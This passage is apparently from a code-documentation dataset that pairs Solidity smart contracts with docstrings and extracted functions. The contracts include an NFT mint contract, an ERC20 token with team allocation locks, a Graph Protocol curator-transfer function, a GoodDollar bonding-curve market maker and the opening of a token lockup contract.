newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: contracts/BattleCatsArena.sol pragma solidity ^0.8.0; contract BattleCatsArena is ERC721A, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.065 ether; uint256 public maxSupply = 10000; uint256 public setMaxMintAmountPerTxn = 20; uint256 public maxMintAmountPerWallet = 10000; uint256 public totalPresaleTickets = 5000; uint256 public reserve = 200; uint256 public reserveMinted = 0; bool public paused = true; bool public revealed = false; bool public startMainSale = false; mapping(address => bool) private _presaleList; mapping(address => bool) private _giftFreeMint; mapping(address => uint256) public _totalMintedPresale; mapping(address => uint256) public _totalMintedMainsale; constructor() ERC721A("BattleCatsArena", "BCA", maxSupply, maxSupply) { setBaseURI("ipfs://Qmebgy2SzpgUa9EskNwoFYSBUMbP7Nzx6sCyvfZrW8Tdsj/"); setNotRevealedURI("ipfs://QmSReC6aRvBKHvMBZosnnfxFwFE4hV8QWECxXYkq2Xet2x"); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // This function is for Premint sale function preSaleMint(uint256 _mintAmount) public payable { if (msg.sender != owner()){ require(!paused, "Public sale is not live, can't mint"); require(_presaleList[msg.sender] == true,"You're not on the whitelist"); require(_mintAmount <= maxMintAmountPerWallet, "Max Mint amount per session exceeded"); } require(_mintAmount > 0, "Need to mint atleast 1 BattleCat"); uint256 supply = totalSupply(); require(supply + _mintAmount <= maxSupply - (reserve - reserveMinted), "Max NFT limit exceeded"); require(supply + _mintAmount <= totalPresaleTickets, "Limit exceeded for presale"); require(_totalMintedPresale[msg.sender] + _mintAmount <= maxMintAmountPerWallet, "exceeded presale total mints per wallet"); if (msg.sender != owner()) { // checking if user have free mint available if (_giftFreeMint[msg.sender]==false){ require(msg.value >= cost * _mintAmount, "insufficient funds"); } else{ require(_mintAmount == 1, "You can only 1 free mint"); _giftFreeMint[msg.sender]=false; } } // minting presale NFT _totalMintedPresale[msg.sender] = _totalMintedPresale[msg.sender] + _mintAmount; _safeMint(msg.sender, _mintAmount); } // This function will add users to presale listing function addToPresaleListing(address[] calldata _addresses) external onlyOwner { for (uint256 index = 0; index < _addresses.length; index++) { require(_addresses[index] != address(0),"Can't add a zero address"); if (_presaleList[_addresses[index]] == false) { _presaleList[_addresses[index]] = true; } } } // This function will use to remove user from presale listing function removeFromPresaleListing(address[] calldata _addresses) external onlyOwner { for (uint256 ind = 0; ind < _addresses.length; ind++) { require(_addresses[ind] != address(0),"Can't remove a zero address"); if (_presaleList[_addresses[ind]] == true) { _presaleList[_addresses[ind]] = false; } } } // function will be check if user is eligible for presale function checkIsOnPresaleList(address _address) external view returns (bool) { return _presaleList[_address]; } // function will be check if user is eligible for freemint function checkIsOnFreesaleList(address _address) external view returns (bool) { return _giftFreeMint[_address]; } // This function will use for Main sale function saleMint(uint256 _mintAmount) public payable { if (msg.sender != owner()){ require(!paused, "Public sale is not live, can't mint"); require(_mintAmount <= setMaxMintAmountPerTxn, "Max Mint amount exceeded"); require(startMainSale == true, "Main sale is not started yet"); } require(_mintAmount > 0, "Need to mint at least 1 BattleCat"); uint256 supply = totalSupply(); require(supply + _mintAmount <= maxSupply - (reserve - reserveMinted), "Max NFT limit exceeded"); require( _totalMintedMainsale[msg.sender] + _mintAmount <= maxMintAmountPerWallet, "exceeded presale total mints per wallet" ); if (msg.sender != owner()) { if (_giftFreeMint[msg.sender]==false){ require(msg.value >= cost * _mintAmount, "insufficient funds"); } else{ require(_mintAmount == 1, "You can only 1 free mint"); _giftFreeMint[msg.sender]=false; } } _safeMint(msg.sender, _mintAmount); } // Function for minting the reserve NFTs for owner function reserveNFTs(uint256 amount) public onlyOwner{ require(reserveMinted + amount <= reserve, "Max NFT limit reserveration exceeded"); _safeMint(msg.sender, amount); reserveMinted = reserveMinted + amount; } // function to get the total NFTs by one address function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } // function will add user to free mint function addToFreeMint(address[] calldata _addresses) external onlyOwner { for (uint256 index = 0; index < _addresses.length; index++) { require( _addresses[index] != address(0), "Can't add a zero address" ); if (_giftFreeMint[_addresses[index]] == false) { _giftFreeMint[_addresses[index]] = true; } } } // Removing user from the free mint function removeFromFreeMint(address[] calldata _addresses) external onlyOwner { for (uint256 index = 0; index < _addresses.length; index++) { require( _addresses[index] != address(0), "Can't remove a zero address" ); if (_giftFreeMint[_addresses[index]] == true) { _giftFreeMint[_addresses[index]] = false; } } } // for revealing the NFTs function revertReveal() public onlyOwner() { revealed = !revealed; } function revertStartMainSale() public onlyOwner{ startMainSale = !startMainSale; } function setMaxMintAmountPerWallet(uint256 _limit) public onlyOwner() { maxMintAmountPerWallet = _limit; } function setCost(uint256 _newCost) public onlyOwner() { cost = _newCost; } function setReserve(uint256 _reserve) public onlyOwner(){ reserve = _reserve; } // function to update the presale NFT amount function setTotalPresaleQuantity( uint256 _totalPresaleTickets) public onlyOwner(){ totalPresaleTickets = _totalPresaleTickets; } function setMaxMintAmountPerTransaction(uint256 _newmaxMintAmount) public onlyOwner() { setMaxMintAmountPerTxn = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function revertPause() external onlyOwner { paused = !paused; } function withdraw() external payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
This function is for Premint sale checking if user have free mint available
function preSaleMint(uint256 _mintAmount) public payable { if (msg.sender != owner()){ require(!paused, "Public sale is not live, can't mint"); require(_presaleList[msg.sender] == true,"You're not on the whitelist"); require(_mintAmount <= maxMintAmountPerWallet, "Max Mint amount per session exceeded"); } require(_mintAmount > 0, "Need to mint atleast 1 BattleCat"); uint256 supply = totalSupply(); require(supply + _mintAmount <= maxSupply - (reserve - reserveMinted), "Max NFT limit exceeded"); require(supply + _mintAmount <= totalPresaleTickets, "Limit exceeded for presale"); require(_totalMintedPresale[msg.sender] + _mintAmount <= maxMintAmountPerWallet, "exceeded presale total mints per wallet"); if (msg.sender != owner()) { if (_giftFreeMint[msg.sender]==false){ require(msg.value >= cost * _mintAmount, "insufficient funds"); } else{ require(_mintAmount == 1, "You can only 1 free mint"); _giftFreeMint[msg.sender]=false; } } _safeMint(msg.sender, _mintAmount); }
9,950,932
pragma solidity ^0.4.21; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { uint _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Sophos ERC20 token * * @dev Implementation of the Sophos Token. */ contract SophosToken is StandardToken { string public name = "Sophos"; string public symbol = "SOPH"; uint public decimals = 8 ; // Initial supply is 30,000,000.00000000 // AKA: 3 * (10 ** ( 7 + decimals )) when expressed as uint uint public INITIAL_SUPPLY = 3000000000000000; // Allocation Constants // Expiration Unix Timestamp: Friday, November 1, 2019 12:00:00 AM // https://www.unixtimestamp.com uint public constant ALLOCATION_LOCK_END_TIMESTAMP = 1572566400; address public constant RAVI_ADDRESS = 0xB75066802f677bb5354F0850A1e1d3968E983BE8; uint public constant RAVI_ALLOCATION = 120000000000000; // 4% address public constant JULIAN_ADDRESS = 0xB2A76D747fC4A076D7f4Db3bA91Be97e94beB01C; uint public constant JULIAN_ALLOCATION = 120000000000000; // 4% address public constant ABDEL_ADDRESS = 0x9894989fd6CaefCcEB183B8eB668B2d5614bEBb6; uint public constant ABDEL_ALLOCATION = 120000000000000; // 4% address public constant ASHLEY_ADDRESS = 0xb37B31f004dD8259F3171Ca5FBD451C03c3bC0Ae; uint public constant ASHLEY_ALLOCATION = 210000000000000; // 7% function SophosToken() { // Set total supply totalSupply = INITIAL_SUPPLY; // Allocate total supply to sender balances[msg.sender] = totalSupply; // Subtract team member allocations from total supply balances[msg.sender] -= RAVI_ALLOCATION; balances[msg.sender] -= JULIAN_ALLOCATION; balances[msg.sender] -= ABDEL_ALLOCATION; balances[msg.sender] -= ASHLEY_ALLOCATION; // Credit Team Member Allocation Addresses balances[RAVI_ADDRESS] = RAVI_ALLOCATION; balances[JULIAN_ADDRESS] = JULIAN_ALLOCATION; balances[ABDEL_ADDRESS] = ABDEL_ALLOCATION; balances[ASHLEY_ADDRESS] = ASHLEY_ALLOCATION; } // Stop transactions from team member allocations during lock period function isAllocationLocked(address _spender) constant returns (bool) { return inAllocationLockPeriod() && isTeamMember(_spender); } // True if the current timestamp is before the allocation lock period function inAllocationLockPeriod() constant returns (bool) { return (block.timestamp < ALLOCATION_LOCK_END_TIMESTAMP); } // Is the spender address one of the Sophos Team? function isTeamMember(address _spender) constant returns (bool) { return _spender == RAVI_ADDRESS || _spender == JULIAN_ADDRESS || _spender == ABDEL_ADDRESS || _spender == ASHLEY_ADDRESS; } // Function wrapper to check for allocation lock function approve(address spender, uint tokens) { if (isAllocationLocked(spender)) { throw; } else { super.approve(spender, tokens); } } // Function wrapper to check for allocation lock function transfer(address to, uint tokens) onlyPayloadSize(2 * 32) { if (isAllocationLocked(to)) { throw; } else { super.transfer(to, tokens); } } // Function wrapper to check for allocation lock function transferFrom(address from, address to, uint tokens) onlyPayloadSize(3 * 32) { if (isAllocationLocked(from) || isAllocationLocked(to)) { throw; } else { super.transferFrom(from, to, tokens); } } }
Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. _spender The address which will spend the funds. _value The amount of tokens to be spent./ To change the approve amount you first have to reduce the addresses` allowance to zero by calling `approve(_spender, 0)` if it is not already 0 to mitigate the race condition described here: https:github.com/ethereum/EIPs/issues/20issuecomment-263524729
function approve(address _spender, uint _value) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); }
9,938,005
./full_match/11155111/0x4Ac3832d773FE6B6dcC8EB6241B83212F1a55096/sources/contracts/discovery/L1GNS.sol
Send the balance for a curator's signal in a subgraph that was transferred to L2, using the L1GraphTokenGateway. The balance will be claimed for a beneficiary address, as this method can be used by curators that use a contract address in L1 that may not exist in L2. This will set the curator's signal on L1 to zero, so the caller must ensure that the retryable ticket is redeemed before expiration, or the signal will be lost. It is up to the caller to verify that the subgraph transfer was finished in L2, but if it wasn't, the tokens will be sent to the beneficiary in L2. Note that any L2 gas/fee refunds will be lost, so the function only accepts the exact amount of ETH to cover _maxSubmissionCost + _maxGas _gasPriceBid. Use the Arbitrum SDK to estimate the L2 retryable ticket parameters. _subgraphID Subgraph ID _beneficiary Address that will receive the tokens in L2 _maxGas Max gas to use for the L2 retryable ticket _gasPriceBid Gas price bid for the L2 retryable ticket _maxSubmissionCost Max submission cost for the L2 retryable ticket/ The Arbitrum bridge will check this too, we just check here for an early exit Set the subgraph as if the curator had withdrawn their tokens Send the tokens and data to L2 using the L1GraphTokenGateway
function sendCuratorBalanceToBeneficiaryOnL2( uint256 _subgraphID, address _beneficiary, uint256 _maxGas, uint256 _gasPriceBid, uint256 _maxSubmissionCost ) external payable notPartialPaused { require(subgraphTransferredToL2[_subgraphID], "!TRANSFERRED"); require( msg.value == _maxSubmissionCost.add(_maxGas.mul(_gasPriceBid)), "INVALID_ETH_VALUE" ); require(_maxSubmissionCost != 0, "NO_SUBMISSION_COST"); SubgraphData storage subgraphData = _getSubgraphData(_subgraphID); uint256 curatorNSignal = subgraphData.curatorNSignal[msg.sender]; require(curatorNSignal != 0, "NO_SIGNAL"); uint256 subgraphNSignal = subgraphData.nSignal; require(subgraphNSignal != 0, "NO_SUBGRAPH_SIGNAL"); uint256 withdrawableGRT = subgraphData.withdrawableGRT; uint256 tokensForL2 = curatorNSignal.mul(withdrawableGRT).div(subgraphNSignal); bytes memory extraData = abi.encode( uint8(IL2GNS.L1MessageCodes.RECEIVE_CURATOR_BALANCE_CODE), _subgraphID, _beneficiary ); subgraphData.curatorNSignal[msg.sender] = 0; subgraphData.nSignal = subgraphNSignal.sub(curatorNSignal); subgraphData.withdrawableGRT = withdrawableGRT.sub(tokensForL2); _sendTokensAndMessageToL2GNS( tokensForL2, _maxGas, _gasPriceBid, _maxSubmissionCost, extraData ); emit CuratorBalanceSentToL2(_subgraphID, msg.sender, _beneficiary, tokensForL2); }
3,811,952
pragma solidity >0.5.4; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "openzeppelin-solidity/contracts/token/ERC20/ERC20.sol"; import "openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol"; import "@daostack/arc/contracts/controller/Avatar.sol"; import "../../contracts/token/GoodDollar.sol"; import "../../contracts/dao/schemes/SchemeGuard.sol"; import "../../contracts/DSMath.sol"; import "./BancorFormula.sol"; /** @title Dynamic reserve ratio market maker */ contract GoodMarketMaker is BancorFormula, DSMath, SchemeGuard { using SafeMath for uint256; // For calculate the return value on buy and sell BancorFormula bancor; // Entity that holds a reserve token struct ReserveToken { // Determines the reserve token balance // that the reserve contract holds uint256 reserveSupply; // Determines the current ratio between // the reserve token and the GD token uint32 reserveRatio; // How many GD tokens have been minted // against that reserve token uint256 gdSupply; } // The map which holds the reserve token entities mapping(address => ReserveToken) public reserveTokens; // Emits when a change has occurred in a // reserve balance, i.e. buy / sell will // change the balance event BalancesUpdated( // The account who initiated the action address indexed caller, // The address of the reserve token address indexed reserveToken, // The incoming amount uint256 amount, // The return value uint256 returnAmount, // The updated total supply uint256 totalSupply, // The updated reserve balance uint256 reserveBalance ); // Emits when the ratio changed. The caller should be the Avatar by definition event ReserveRatioUpdated(address indexed caller, uint256 nom, uint256 denom); // Emits when new tokens should be minted // as a result of incoming interest. // That event will be emitted after the // reserve entity has been updated event InterestMinted( // The account who initiated the action address indexed caller, // The address of the reserve token address indexed reserveToken, // How much new reserve tokens been // added to the reserve balance uint256 addInterest, // The GD supply in the reserve entity // before the new minted GD tokens were // added to the supply uint256 oldSupply, // The number of the new minted GD tokens uint256 mint ); // Emits when new tokens should be minted // as a result of a reserve ratio expansion // change. This change should have occurred // on a regular basis. That event will be // emitted after the reserve entity has been // updated event UBIExpansionMinted( // The account who initiated the action address indexed caller, // The address of the reserve token address indexed reserveToken, // The reserve ratio before the expansion uint256 oldReserveRatio, // The GD supply in the reserve entity // before the new minted GD tokens were // added to the supply uint256 oldSupply, // The number of the new minted GD tokens uint256 mint ); // Defines the daily change in the reserve ratio in RAY precision. // In the current release, only global ratio expansion is supported. // That will be a part of each reserve token entity in the future. uint256 public reserveRatioDailyExpansion; /** * @dev Constructor * @param _avatar The avatar of the DAO * @param _nom The numerator to calculate the global `reserveRatioDailyExpansion` from * @param _denom The denominator to calculate the global `reserveRatioDailyExpansion` from */ constructor( Avatar _avatar, uint256 _nom, uint256 _denom ) public SchemeGuard(_avatar) { reserveRatioDailyExpansion = rdiv(_nom, _denom); } modifier onlyActiveToken(ERC20 _token) { ReserveToken storage rtoken = reserveTokens[address(_token)]; require(rtoken.gdSupply > 0, "Reserve token not initialized"); _; } /** * @dev Allows the DAO to change the daily expansion rate * it is calculated by _nom/_denom with e27 precision. Emits * `ReserveRatioUpdated` event after the ratio has changed. * Only Avatar can call this method. * @param _nom The numerator to calculate the global `reserveRatioDailyExpansion` from * @param _denom The denominator to calculate the global `reserveRatioDailyExpansion` from */ function setReserveRatioDailyExpansion(uint256 _nom, uint256 _denom) public onlyAvatar { require(_denom > 0, "denominator must be above 0"); reserveRatioDailyExpansion = rdiv(_nom, _denom); emit ReserveRatioUpdated(msg.sender, _nom, _denom); } // NOTICE: In the current release, if there is a wish to add another reserve token, // `end` method in the reserve contract should be called first. Then, the DAO have // to deploy a new reserve contract that will own the market maker. A scheme for // updating the new reserve must be deployed too. /** * @dev Initialize a reserve token entity with the given parameters * @param _token The reserve token * @param _gdSupply Initial supply of GD to set the price * @param _tokenSupply Initial supply of reserve token to set the price * @param _reserveRatio The starting reserve ratio */ function initializeToken( ERC20 _token, uint256 _gdSupply, uint256 _tokenSupply, uint32 _reserveRatio ) public onlyOwner { reserveTokens[address(_token)] = ReserveToken({ gdSupply: _gdSupply, reserveSupply: _tokenSupply, reserveRatio: _reserveRatio }); } /** * @dev Calculates how much to decrease the reserve ratio for _token by * the `reserveRatioDailyExpansion` * @param _token The reserve token to calculate the reserve ratio for * @return The new reserve ratio */ function calculateNewReserveRatio(ERC20 _token) public view onlyActiveToken(_token) returns (uint32) { ReserveToken memory reserveToken = reserveTokens[address(_token)]; uint32 ratio = reserveToken.reserveRatio; if (ratio == 0) { ratio = 1e6; } return uint32( rmul( uint256(ratio).mul(1e21), // expand to e27 precision reserveRatioDailyExpansion ) .div(1e21) // return to e6 precision ); } /** * @dev Decreases the reserve ratio for _token by the `reserveRatioDailyExpansion` * @param _token The token to change the reserve ratio for * @return The new reserve ratio */ function expandReserveRatio(ERC20 _token) public onlyOwner onlyActiveToken(_token) returns (uint32) { ReserveToken storage reserveToken = reserveTokens[address(_token)]; uint32 ratio = reserveToken.reserveRatio; if (ratio == 0) { ratio = 1e6; } reserveToken.reserveRatio = calculateNewReserveRatio(_token); return reserveToken.reserveRatio; } /** * @dev Calculates the buy return in GD according to the given _tokenAmount * @param _token The reserve token buying with * @param _tokenAmount The amount of reserve token buying with * @return Number of GD that should be given in exchange as calculated by the bonding curve */ function buyReturn(ERC20 _token, uint256 _tokenAmount) public view onlyActiveToken(_token) returns (uint256) { ReserveToken memory rtoken = reserveTokens[address(_token)]; return calculatePurchaseReturn( rtoken.gdSupply, rtoken.reserveSupply, rtoken.reserveRatio, _tokenAmount ); } /** * @dev Calculates the sell return in _token according to the given _gdAmount * @param _token The desired reserve token to have * @param _gdAmount The amount of GD that are sold * @return Number of tokens that should be given in exchange as calculated by the bonding curve */ function sellReturn(ERC20 _token, uint256 _gdAmount) public view onlyActiveToken(_token) returns (uint256) { ReserveToken memory rtoken = reserveTokens[address(_token)]; return calculateSaleReturn( rtoken.gdSupply, rtoken.reserveSupply, rtoken.reserveRatio, _gdAmount ); } /** * @dev Updates the _token bonding curve params. Emits `BalancesUpdated` with the * new reserve token information. * @param _token The reserve token buying with * @param _tokenAmount The amount of reserve token buying with * @return (gdReturn) Number of GD that will be given in exchange as calculated by the bonding curve */ function buy(ERC20 _token, uint256 _tokenAmount) public onlyOwner onlyActiveToken(_token) returns (uint256) { uint256 gdReturn = buyReturn(_token, _tokenAmount); ReserveToken storage rtoken = reserveTokens[address(_token)]; rtoken.gdSupply = rtoken.gdSupply.add(gdReturn); rtoken.reserveSupply = rtoken.reserveSupply.add(_tokenAmount); emit BalancesUpdated( msg.sender, address(_token), _tokenAmount, gdReturn, rtoken.gdSupply, rtoken.reserveSupply ); return gdReturn; } /** * @dev Updates the _token bonding curve params. Emits `BalancesUpdated` with the * new reserve token information. * @param _token The desired reserve token to have * @param _gdAmount The amount of GD that are sold * @return Number of tokens that will be given in exchange as calculated by the bonding curve */ function sell(ERC20 _token, uint256 _gdAmount) public onlyOwner onlyActiveToken(_token) returns (uint256) { ReserveToken storage rtoken = reserveTokens[address(_token)]; require(rtoken.gdSupply > _gdAmount, "GD amount is higher than the total supply"); uint256 tokenReturn = sellReturn(_token, _gdAmount); rtoken.gdSupply = rtoken.gdSupply.sub(_gdAmount); rtoken.reserveSupply = rtoken.reserveSupply.sub(tokenReturn); emit BalancesUpdated( msg.sender, address(_token), _gdAmount, tokenReturn, rtoken.gdSupply, rtoken.reserveSupply ); return tokenReturn; } /** * @dev Calculates the sell return with contribution in _token and update the bonding curve params. * Emits `BalancesUpdated` with the new reserve token information. * @param _token The desired reserve token to have * @param _gdAmount The amount of GD that are sold * @param _contributionGdAmount The number of GD tokens that will not be traded for the reserve token * @return Number of tokens that will be given in exchange as calculated by the bonding curve */ function sellWithContribution( ERC20 _token, uint256 _gdAmount, uint256 _contributionGdAmount ) public onlyOwner onlyActiveToken(_token) returns (uint256) { require( _gdAmount >= _contributionGdAmount, "GD amount is lower than the contribution amount" ); ReserveToken storage rtoken = reserveTokens[address(_token)]; require(rtoken.gdSupply > _gdAmount, "GD amount is higher than the total supply"); // Deduces the convertible amount of GD tokens by the given contribution amount uint256 amountAfterContribution = _gdAmount.sub(_contributionGdAmount); // The return value after the deduction uint256 tokenReturn = sellReturn(_token, amountAfterContribution); rtoken.gdSupply = rtoken.gdSupply.sub(_gdAmount); rtoken.reserveSupply = rtoken.reserveSupply.sub(tokenReturn); emit BalancesUpdated( msg.sender, address(_token), _contributionGdAmount, tokenReturn, rtoken.gdSupply, rtoken.reserveSupply ); return tokenReturn; } /** * @dev Current price of GD in `token`. currently only cDAI is supported. * @param _token The desired reserve token to have * @return price of GD */ function currentPrice(ERC20 _token) public view onlyActiveToken(_token) returns (uint256) { ReserveToken memory rtoken = reserveTokens[address(_token)]; GoodDollar gooddollar = GoodDollar(address(avatar.nativeToken())); return calculateSaleReturn( rtoken.gdSupply, rtoken.reserveSupply, rtoken.reserveRatio, (10**uint256(gooddollar.decimals())) ); } //TODO: need real calculation and tests /** * @dev Calculates how much G$ to mint based on added token supply (from interest) * and on current reserve ratio, in order to keep G$ price the same at the bonding curve * formula to calculate the gd to mint: gd to mint = * addreservebalance * (gdsupply / (reservebalance * reserveratio)) * @param _token the reserve token * @param _addTokenSupply amount of token added to supply * @return how much to mint in order to keep price in bonding curve the same */ function calculateMintInterest(ERC20 _token, uint256 _addTokenSupply) public view onlyActiveToken(_token) returns (uint256) { GoodDollar gooddollar = GoodDollar(address(avatar.nativeToken())); uint256 decimalsDiff = uint256(27).sub(uint256(gooddollar.decimals())); //resulting amount is in RAY precision //we divide by decimalsdiff to get precision in GD (2 decimals) return rdiv(_addTokenSupply, currentPrice(_token)).div(10**decimalsDiff); } /** * @dev Updates bonding curve based on _addTokenSupply and new minted amount * @param _token The reserve token * @param _addTokenSupply Amount of token added to supply * @return How much to mint in order to keep price in bonding curve the same */ function mintInterest(ERC20 _token, uint256 _addTokenSupply) public onlyOwner returns (uint256) { if (_addTokenSupply == 0) { return 0; } uint256 toMint = calculateMintInterest(_token, _addTokenSupply); ReserveToken storage reserveToken = reserveTokens[address(_token)]; uint256 gdSupply = reserveToken.gdSupply; uint256 reserveBalance = reserveToken.reserveSupply; reserveToken.gdSupply = gdSupply.add(toMint); reserveToken.reserveSupply = reserveBalance.add(_addTokenSupply); emit InterestMinted( msg.sender, address(_token), _addTokenSupply, gdSupply, toMint ); return toMint; } /** * @dev Calculate how much G$ to mint based on expansion change (new reserve * ratio), in order to keep G$ price the same at the bonding curve. the * formula to calculate the gd to mint: gd to mint = * (reservebalance / (newreserveratio * currentprice)) - gdsupply * @param _token The reserve token * @return How much to mint in order to keep price in bonding curve the same */ function calculateMintExpansion(ERC20 _token) public view onlyActiveToken(_token) returns (uint256) { ReserveToken memory reserveToken = reserveTokens[address(_token)]; uint32 newReserveRatio = calculateNewReserveRatio(_token); // new reserve ratio uint256 reserveDecimalsDiff = uint256( uint256(27).sub(ERC20Detailed(address(_token)).decimals()) ); // //result is in RAY precision uint256 denom = rmul( uint256(newReserveRatio).mul(1e21), currentPrice(_token).mul(10**reserveDecimalsDiff) ); // (newreserveratio * currentprice) in RAY precision GoodDollar gooddollar = GoodDollar(address(avatar.nativeToken())); uint256 gdDecimalsDiff = uint256(27).sub(uint256(gooddollar.decimals())); uint256 toMint = rdiv( reserveToken.reserveSupply.mul(10**reserveDecimalsDiff), // reservebalance in RAY precision denom ) .div(10**gdDecimalsDiff); // return to gd precision return toMint.sub(reserveToken.gdSupply); } /** * @dev Updates bonding curve based on expansion change and new minted amount * @param _token The reserve token * @return How much to mint in order to keep price in bonding curve the same */ function mintExpansion(ERC20 _token) public onlyOwner returns (uint256) { uint256 toMint = calculateMintExpansion(_token); ReserveToken storage reserveToken = reserveTokens[address(_token)]; uint256 gdSupply = reserveToken.gdSupply; uint256 ratio = reserveToken.reserveRatio; reserveToken.gdSupply = gdSupply.add(toMint); expandReserveRatio(_token); emit UBIExpansionMinted(msg.sender, address(_token), ratio, gdSupply, toMint); return toMint; } }
Updates the _token bonding curve params. Emits `BalancesUpdated` with the new reserve token information. _token The reserve token buying with _tokenAmount The amount of reserve token buying with return (gdReturn) Number of GD that will be given in exchange as calculated by the bonding curve/
function buy(ERC20 _token, uint256 _tokenAmount) public onlyOwner onlyActiveToken(_token) returns (uint256) { uint256 gdReturn = buyReturn(_token, _tokenAmount); ReserveToken storage rtoken = reserveTokens[address(_token)]; rtoken.gdSupply = rtoken.gdSupply.add(gdReturn); rtoken.reserveSupply = rtoken.reserveSupply.add(_tokenAmount); emit BalancesUpdated( msg.sender, address(_token), _tokenAmount, gdReturn, rtoken.gdSupply, rtoken.reserveSupply ); return gdReturn; }
12,639,561
pragma solidity ^0.4.20; library SafeMath { function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } } /** * @title JunketLockup * @dev JunketLockup is a token holder contract that will allow a * beneficiary to extract the tokens after a given release time */ contract MacauJunket2{ using SafeERC20 for ERC20Basic; using SafeMath for uint256; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // 